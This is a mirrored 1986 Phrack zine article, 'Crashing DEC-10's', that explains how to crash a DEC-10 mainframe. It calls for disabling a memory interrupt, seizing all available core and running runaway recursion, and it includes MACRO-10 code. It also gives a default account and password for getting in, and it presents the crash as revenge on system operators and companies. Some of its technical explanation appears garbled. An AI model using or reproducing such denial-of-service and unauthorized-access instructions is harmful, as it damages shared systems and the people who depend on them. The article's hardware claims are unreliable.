mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
116 lines
5 KiB
Text
116 lines
5 KiB
Text
==Phrack Inc.==
|
|
|
|
Volume One, Issue Four, Phile #6 of 11
|
|
|
|
Crashing DEC-10's
|
|
by The Mentor
|
|
3-13-86
|
|
|
|
|
|
|
|
Occasionally there will be a time when destruction is necessary.
|
|
Whether it is revenge against a tyrannical system operator or against
|
|
a particular company, sometimes it is desirable to strike at the heart of a
|
|
company...their computer.
|
|
What follows is a fairly detailed explanation of how to go about
|
|
crashing a DEC-10 computer running any operating system. The user will have
|
|
to be able to create and execute assembly level and high level language
|
|
files, as well as having a good working knowledge of programming.
|
|
The first step is to obtain an account. Whether this be a default
|
|
account like 5,30 (pw: GAMES) or an account that you hacked by some other
|
|
method, you have to be able to access the system. Superuser access is not
|
|
necessary, however, for this method to work.
|
|
At the heart of every mainframe computer is the central processing
|
|
unit. The CPU handles all instructions, fetching them from memory, decoding
|
|
them, and executing them. A DEC has what is called a DMA (Direct Memory
|
|
Access) Controller that functions as a small CPU handling all the input and
|
|
output from memory and peripherals, freeing the main CPU to execute instruc-
|
|
tions. We take advantage of this fact in crashing the system.
|
|
Theory: The CPU depends on the DMA Controller to handle all memory
|
|
access. If the DMA can be crashed, the CPU grinds to a halt and the sysop
|
|
has to run DSK:RAT to restore all the files on the system (a one hour process,
|
|
deadly at peak operating time.) We cause the DMA to crash by slowing it down
|
|
incredibly and overflowing the system stack.
|
|
Practice-
|
|
There exists an area known as 'Job Data Area' at octal 20 through 140
|
|
of the user's memory. This stores all relevant information about the current
|
|
task executing. The individual locations each have a 6-bit mnemonic starting
|
|
with .JB in each case. These must be introduced into a symbol table as ext-
|
|
ernal references.
|
|
The highest core address available to the user is stored at .JBREL
|
|
in the Job Data Area. If you try to access more core than you are allowed,
|
|
you will get an interrupt and it will crash. The first step is to disable
|
|
the interrupt. This is done by setting bit 22 in the AC to 1. This is done
|
|
with a mask as follows...
|
|
APRENB AC
|
|
MOVEI AC,20000 (octal)
|
|
The interrupt is now shut out. Next, you must start snatching up all
|
|
available system core. This cannot be done by directly meddling with .JBREL.
|
|
Instead, you must alter AC (accumulator) to contain the highest desired
|
|
address and then move it into .JBREL. This can be done with the following
|
|
subroutine.
|
|
CORE AC,
|
|
TOP: MOVE AC,.JBREL##
|
|
AOJA AC,.+1
|
|
CORE AC,
|
|
BRA TOP
|
|
At first, incrementing only by one looks like a slow way to grab core,
|
|
but since it is only allocated in chunks of either 1K or 2K words, you can
|
|
quickly suck up a lot of memory. (Following this file is a complete sample
|
|
program in MACRO-10 showing how to increase the core to a certain limit.)
|
|
Now that we have all the core we can get, the system is already more
|
|
than likely slowing down. This is good. Now we put in the fatal blow.
|
|
You should already have prepared a program that relies heavily on recursion.
|
|
The choice languages for this are either C or Pascal. Simply set up a simple
|
|
recursive program (Towers of Hanoi with 100 rings, for instance), and tell it
|
|
to execute.
|
|
What will begin to happen is that the DMA stack will start filling up,
|
|
slowing the system down even further. Eventually, after between 5 minutes and
|
|
15 minutes (longest it's ever taken me), you get the nice beep and...
|
|
;;OPSER- DEC SYSTEM-10 NOT RUNNING
|
|
I've only had to do this on three systems that the sysop really
|
|
pissed me off (not counting the system where I go to school, on which I do
|
|
it all the time when I'm bored...) It's kind of an extreme measure, but
|
|
it can be an effective one.
|
|
The following program is a sample for those not familiar with MACRO-10
|
|
assembly language.
|
|
32
|
|
|
|
START: TITLE SAMPLE
|
|
MOVE P,[IOWD 3,MEM]
|
|
MOVE [PUSHJ P,PDLOV]
|
|
MOVEM .JBAPR##
|
|
MOVEI AC,600000
|
|
APRENB AC,
|
|
SETZB CT
|
|
MOVEM AC
|
|
AOS
|
|
PUSHJ P,S1
|
|
JRST .-3
|
|
S1: IDIVI AC,10
|
|
HRLM N,(P)
|
|
JUMPE AC,.+3
|
|
PUSHJ P,S1
|
|
SKIPA
|
|
PUSHJ P,S2
|
|
HLRZ N,(P)
|
|
ADDI N,60
|
|
OUTCHR N
|
|
POPJ P,
|
|
S2: SOJG CT,.+4
|
|
OUTCHR [15]
|
|
OUTCHR [12]
|
|
MOVEI CT,10
|
|
MOVE T,P
|
|
OUTCHR [40]
|
|
AOBJN T,.-1
|
|
POPJ P,
|
|
PDLOV: PUSHJ P,LIMIT
|
|
SUB P,[1,,0]
|
|
JRSTF @.JBTPC##
|
|
LIMIT: CAIL 1000 ;CHANGE TO WHATEVER YOU WANT!
|
|
EXIT
|
|
POPJ P,
|
|
MEM: BLOCK 10
|
|
END START
|
|
|